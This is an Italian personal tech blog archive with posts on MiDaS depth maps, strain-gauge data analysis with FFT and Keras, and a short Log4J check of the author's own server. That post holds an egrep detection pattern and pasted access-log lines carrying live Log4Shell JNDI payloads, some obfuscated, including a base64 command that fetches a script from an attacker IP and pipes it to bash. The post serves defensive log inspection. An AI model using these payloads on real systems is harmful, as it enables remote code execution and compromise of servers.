Un programmino un Python per convertire le mappe di profondita' di MiDaS dal formato PFM al formato PLY (GitHub)
mercoledì 22 dicembre 2021
PFM2PLY
martedì 21 dicembre 2021
Boosting Monocular Depth test
Partendo dal post precedente ho provato questo link github
https://github.com/compphoto/BoostingMonocularDepth
i risultati sono prossimi incredibili ma non sono riuscito al momento ad estrarre la matrice numerica
E' comodo per i test utilizzare il seguente notebook da importare su Colab
Mappa di profondita' da immagini monoculari
Fino a poco tempo fa per estrarre dati tridimensionali da una immagine fotografica era possibile utilizzare solo immagine stereoscopiche..successivamente e' stato possibile ottenere mappe di profondita' con i laser a luce strutturata ... in ogni caso era necessario utilizzare attrezzatura specifica
Leggendo gli esempi di Keras ho trovato questo esempio Monocular Depth Estimation che permette da una normale immagine di stimare la profondita' degli oggetti ripresi utilizzando una rete neurale CNN
Nonostante diverse prove su Colab il notebook entrava in errore (ho avuto solo un successo) con valori di Nan in loss e val_loss e pensavo di abbandonare quando ho trovato MiDaS
Per prima cosa si deve impostare un Conda Env (conda activate env_pytorch) con
conda install pytorch torchvision opencvIn seguito si copiano di file dei modelli Large e Hybrid nella directory weights (i modelli midas_v21 e midas_v21_small vengnono scaricati in modo automatico)
Si inseriscono poi nella dir input le immagini da processare ed i risultati si troveranno nella dir outpu
Su Apple M1 tutto ha funzionato. Su Ubuntu LTS 18.04 hanno funzionato solo i modello midas_v21
Ho provato ad usare anche il docker senza fortuna
La cosa interessante non e' il PNG che viene generato ma il file .PFM all'interno del quale si trovano in formato binario i valori di distanza in formato float32 (nel PNG ci sono solo 255 classi). Avendo un punto di verita'nell'immagine tali valori possono essere riscalati per ottenere delle distanze metriche
Per leggere il file PFM si puo' utilizzare la funzione read_pfm contenuta nel file utils.py
======================================================
(data,scale) = utils.read_pfm('luca.pfm')
print(data)
print(scale)
Sono presenti anche le dir per mobile Android/IOS e Tensorflow ma al momento non sono riuscito a compilarle
Per alcuni test rapidi si puo' utilizzare il notebook python
venerdì 17 dicembre 2021
Estensimetro ed FFT
Una per applicare un filtro ai dati dell'estensimetro bassato su analisi FFT (vedi qui e precedenti)
Dati originali con curva di interpolazione polinomiale
Detrend sottraendo la polinomialeAnalisi FFT
applicando un filtro passa basso si ottiene il grafico filtrato invertendo la FFT
domenica 12 dicembre 2021
Log4J
rapido controllo su un server....il problema decisamente esiste
stringa di scansione dei log (ripresa da qui)
egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log
questo il risultato...la cosa interessante e' che vi sono diverse tipologie di codici di cui si tenta l'esecuzione
/var/log/apache2/access.log.1:167.71.13.196 - - [11/Dec/2021:10:04:25 +0100] "GET /$%7Bjndi:ldaps://fd85971c.probe001.log4j.leakix.net:9200/b%7D?${jndi:ldaps://fd85971c.probe001.log4j.leakix.net:9200/b}=${jndi:ldaps://fd85971c.probe001.log4j.leakix.net:9200/b} HTTP/1.1" 404 515 "-" "${jndi:ldaps://fd85971c.probe001.log4j.leakix.net:9200/b}"
/var/log/apache2/access.log.1:167.71.13.196 - - [11/Dec/2021:18:32:33 +0100] "GET /$%7Bjndi:ldaps://fd85971c.probe001.log4j.leakix.net:9200/b%7D?${jndi:ldaps://fd85971c.probe001.log4j.leakix.net:9200/b}=${jndi:ldaps://fd85971c.probe001.log4j.leakix.net:9200/b} HTTP/1.1" 404 515 "-" "${jndi:ldaps://fd85971c.probe001.log4j.leakix.net:9200/b}"
/var/log/apache2/access.log.1:194.163.163.20 - - [11/Dec/2021:22:13:07 +0100] "GET /?x=${jndi:ldap://${hostName}.c6qgldh5g22l07bu1lvgcg4tesaybpakh.interactsh.com/a} HTTP/1.1" 200 3343 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.c6qgldh5g22l07bu1lvgcg4tesaybpakh.interactsh.com}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6qgldh5g22l07bu1lvgcg4tesaybpakh.interactsh.com}"
/var/log/apache2/access.log.1:147.182.216.21 - - [12/Dec/2021:00:35:18 +0100] "GET / HTTP/1.1" 200 3324 "-" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
/var/log/apache2/access.log.1:45.155.205.233 - - [12/Dec/2021:06:21:38 +0100] "GET /?x=${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xNTAuMjE3LjczLjEwODo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xNTAuMjE3LjczLjEwODo4MCl8YmFzaA==} HTTP/1.1" 200 3343 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xNTAuMjE3LjczLjEwODo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xNTAuMjE3LjczLjEwODo4MCl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xNTAuMjE3LjczLjEwODo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xNTAuMjE3LjczLjEwODo4MCl8YmFzaA==}"
/var/log/apache2/access.log.1:107.189.29.181 - - [19/Dec/2021:15:19:44 +0100] "GET / HTTP/1.1" 200 3343 "-" "${jndi:ldap://179.43.175.101:1389/jedmdg}" botnet
sabato 11 dicembre 2021
Autoencoder anomaly detection con tensorlfow
Terzo tentativo di analisi dati di estensimetro con Tensorflow (iniziato qui). Si tratta di un adattamento dell'esempio sul sito di Keras
In questo post si cerca di impostare una anomaly detection mediante autoencoder
La prima anomalia nella serie dati e' in corrispondenza del movimento indicato dalla freccia nel grafico soprastante
I dati sono stati tagliati in modo da includere solo l'inizio dell'anomalia in modo da non istruire troppo la rete
Il modello converge rapidamente con valori di loss e validation loss similari
sovrapponendo il modello ai dati di train si nota una ottima corrispondenza
sottrando i dati reali dal modello si possono estrapolare le anomalie. Indicato dalla freccia l'anomalia derivante dal movimento
di seguito il codice
venerdì 10 dicembre 2021
AutoKeras LSTM per estensimetro
Questo e' un tentativo di applicazione di AutoKeras (AutoML ovvero machine learning automatizzato basato su Keras) ai dati del post precedente
La differenza sostanziale e' che la dimensione del train set deve essere un multiplo intero della batch size (in questo caso 42 e 4200)
Debugger integrato ESP32S3
Aggiornamento In realta' il Jtag USB funziona anche sui moduli cinesi Il problema risiede nell'ID USB della porta Jtag. Nel modulo...
-
In questo post viene indicato come creare uno scatterplot dinamico basato da dati ripresi da un file csv (nel dettaglio il file csv e' c...
-
Questo post e' a seguito di quanto gia' visto nella precedente prova Lo scopo e' sempre il solito: creare un sistema che permet...
-
La scheda ESP32-2432S028R monta un Esp Dev Module con uno schermo TFT a driver ILI9341 di 320x240 pixels 16 bit colore.Il sito di riferiment...